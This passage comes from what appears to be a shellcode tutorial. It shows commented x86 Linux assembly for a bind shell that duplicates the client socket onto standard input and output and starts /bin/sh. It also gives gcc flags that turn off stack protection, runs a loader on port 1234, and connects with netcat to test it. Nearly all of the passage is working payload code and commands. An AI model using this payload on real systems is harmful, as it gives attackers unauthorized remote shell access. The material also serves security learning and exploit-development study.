redirect:
dec     ecx                ; ECX = 00000002 (eventually)
mov     al, 0x3f           ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
int     0x80               ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
jnz     redirect           ;

; spawn /bin/sh shell
; Note that EAX is set to 00000000 upon last succesful execution of DUP2
push    eax                ; PUSH 00000000 (NULL byte)
pop     ecx                ; ECX = 00000000 (EXECVE ARGV)
push    eax                ; PUSH 00000000 (NULL byte)
pop     edx                ; EDX = 00000000 (EXECVE ENVP)

; push '/bin//sh, 0' on stack
push    eax                ; PUSH 00000000 (NULL byte)
mov     al, 0xb            ; EXECVE(2)
push    0x68732f2f         ; "//sh"
push    0x6e69622f         ; "/bin"
xchg    esp, ebx           ; Save a byte by sacrificing unneeded ESP
int     0x80               ; Start /bin/sh in the client socket FD
*/

We compile the shellcode loader as follows:

gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell

We test the shellcode works:

./bindshell

Note: The bindshell.c program dynamically sets the port number to port 1234 via the following instructions:
int port = 1234;
if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;}
Note: Again we verify we can connect successfully:

nc -nv 127.0.0.1 1234

The code works - Press CTRL-C in the window you used to connect to close the connection.